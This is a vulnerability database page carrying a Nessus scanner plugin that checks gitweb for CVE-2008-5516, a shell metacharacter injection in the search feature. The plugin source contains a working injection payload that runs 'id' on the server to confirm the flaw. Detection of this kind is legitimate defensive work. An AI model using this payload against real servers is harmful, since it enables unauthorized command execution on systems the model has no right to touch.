Lucene search

K
nessusThis script is Copyright (C) 2011-2022 and is owned by Tenable, Inc. or an Affiliate thereof.GITWEB_GIT_SEARCH_CMD_EXEC.NASL
HistoryApr 08, 2011 - 12:00 a.m.

GIT gitweb git_search Shell Metacharacter Arbitrary Command Execution

2011-04-0800:00:00
This script is Copyright (C) 2011-2022 and is owned by Tenable, Inc. or an Affiliate thereof.
www.tenable.com
15

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.012 Low

EPSS

Percentile

84.9%

The version of gitweb, a web-enabled interface to the open source distributed version control system Git, hosted on the remote web server fails to sanitize user-supplied input to the ‘gitweb.cgi’ script of shell metacharacters before passing it to a shell.

An unauthenticated, remote attacker can leverage this issue to execute arbitrary commands subject to the privileges under which the web server operates.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(53336);
  script_version("1.13");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2008-5516");
  script_bugtraq_id(33355);
  script_xref(name:"SECUNIA", value:"33607");

  script_name(english:"GIT gitweb git_search Shell Metacharacter Arbitrary Command Execution");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a CGI script that can be abused to
execute arbitrary commands.");
  script_set_attribute(attribute:"description", value:
"The version of gitweb, a web-enabled interface to the open source
distributed version control system Git, hosted on the remote web
server fails to sanitize user-supplied input to the 'gitweb.cgi'
script of shell metacharacters before passing it to a shell.

An unauthenticated, remote attacker can leverage this issue to execute
arbitrary commands subject to the privileges under which the web
server operates.");
  # https://repo.or.cz/w/git.git?a=commitdiff;h=c582abae46725504cee9ff91816c979989632f07
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?f84acd89");
  script_set_attribute(attribute:"solution", value:
"Upgrade to version 1.5.6 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_cwe_id(78, 264);

  script_set_attribute(attribute:"vuln_publication_date", value:"2009/01/19");
  script_set_attribute(attribute:"patch_publication_date", value:"2008/03/05");
  script_set_attribute(attribute:"plugin_publication_date", value:"2011/04/08");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:git:git");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2011-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("http.inc");
include("misc_func.inc");
include("url_func.inc");
include("webapp_func.inc");
include("data_protection.inc");

global_var cgi, port;

function exploit(cmd, regex, repo)
{
  local_var matches, pattern, res, search, sha_commit, sha_file;
  local_var sha_null, url;

  # Get SHA-1 of HEAD.
  url = cgi + "?p=" + repo;
  res = http_send_recv3(
    port         : port,
    method       : "GET",
    item         : url,
    exit_on_fail : TRUE
  );

  pattern = '<a href="[^"]+\\?p=' + repo + ';a=commit;h=([a-z0-9]{40})">commit</a>';
  matches = eregmatch(string:res[2], pattern:pattern);
  if ( isnull(matches) ) return NULL;
  sha_commit = matches[1];

  # Get SHA-1 of any file.
  url = cgi + "?p=" + repo + ";a=tree;hb=" + sha_commit;
  res = http_send_recv3(
    port         : port,
    method       : "GET",
    item         : url,
    exit_on_fail : TRUE
  );

  pattern = '<a href="[^"]+\\?p=' + repo + ';a=blob;f=[^;]+;h=([a-z0-9]{40});hb=' + sha_commit + '">blob</a>';
  matches = eregmatch(string:res[2], pattern:pattern);
  if ( isnull(matches) ) return NULL;
  sha_file = matches[1];

  # Exploit.
  sha_null = '0000000000000000000000000000000000000000';
  search = "%27%27 | ";
  search += 'printf %22' + sha_commit + '\\n';
  search += '%3A000000 100644 ' + sha_null + ' ' + sha_file + ' A\\t%24%28' + cmd + '%29\\n';
  search += sha_null + '\\n%22%3B ';
  search += 'echo ' + SCRIPT_NAME + ' \\';

  search = str_replace(string:search, find:" ", replace:"+");

  url = cgi + "?p=" + repo + "&a=search&h=HEAD&st=pickaxe&s=" + search;
  res = http_send_recv3(
    port         : port,
    method       : "GET",
    item         : url,
    exit_on_fail : TRUE
  );

  pattern = '<span class="match">(' + regex + ')</span>';
  matches = eregmatch(string:res[2], pattern:pattern);
  if ( isnull(matches) ) exit(0, "The gitweb instance at " + build_url(port:port, qs:cgi) + " appears to be unaffected.");

  return make_list(url, matches[1]);
}

port = get_http_port(default:80);

# Loop through directories.
if ( thorough_tests ) dirs = list_uniq(make_list("/gitweb", "/cgi-bin/gitweb", "/git", "/code", cgi_dirs()));
else dirs = make_list(cgi_dirs());

# Find the gitweb CGI.
found = FALSE;
foreach dir ( dirs )
{
  foreach ext ( make_list("cgi", "pl", "perl") )
  {
    url = dir + "/gitweb." + ext;
    res = http_send_recv3(
      port         : port,
      method       : "GET",
      item         : url,
      exit_on_fail : TRUE
    );

    if (
      '<!-- git web interface version' >!< res[2] &&
      'meta name="generator" content="gitweb' >!< res[2]
    ) continue;

    cgi = url;
    found = TRUE;
    break;
  }

  if ( found ) break;
}
if ( ! found ) exit(0, "The web server on port " + port + " does not appear to host gitweb.");

# Scrape repository names from page.
pattern = "\?p=([^;]+);a=";
lines = egrep(string:res[2], pattern:pattern);
if ( isnull(lines) ) exit(1, "Failed to find any repositories at " + build_url(port:port, qs:cgi) + ".");

# Make a list of repositories.
repos = make_list();
foreach line ( split(lines) )
{
  matches = eregmatch(string:line, pattern:pattern);
  if ( isnull(matches) ) continue;

  repos = make_list(repos, matches[1]);
}
if ( max_index(repos) == 0 ) exit(1, "Failed to parse repositories at " + build_url(port:port, qs:cgi) + ".");

# Try to exploit each repo.
cmd = "id";
regex = "uid=[0-9]+.*gid=[0-9]+.*";
result = NULL;
foreach repo ( list_uniq(repos) )
{
  result = exploit(cmd:cmd, regex:regex, repo:repo);
  if ( ! isnull(result) ) break;
}
if ( isnull(result) ) exit(0, "The gitweb instance at " + build_url(port:port, qs:cgi) + " appears to be unaffected.");

# Report our findings.
if ( report_verbosity > 0 )
{
  trailer = "";
  if ( report_verbosity > 1 )
  {
    trailer =
      '\n' +
      'The above URL caused gitweb to execute the command \'' + cmd + '\'\n' +
      'resulting in the following output :\n' +
      '\n  ' + data_protection::sanitize_uid(output:result[1]) + '\n';
  }

  report = get_vuln_report(trailer:trailer, items:result[0], port:port);

  security_hole(port:port, extra:report);
}
else security_hole(port);
VendorProductVersionCPE
gitgitcpe:/a:git:git

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.012 Low

EPSS

Percentile

84.9%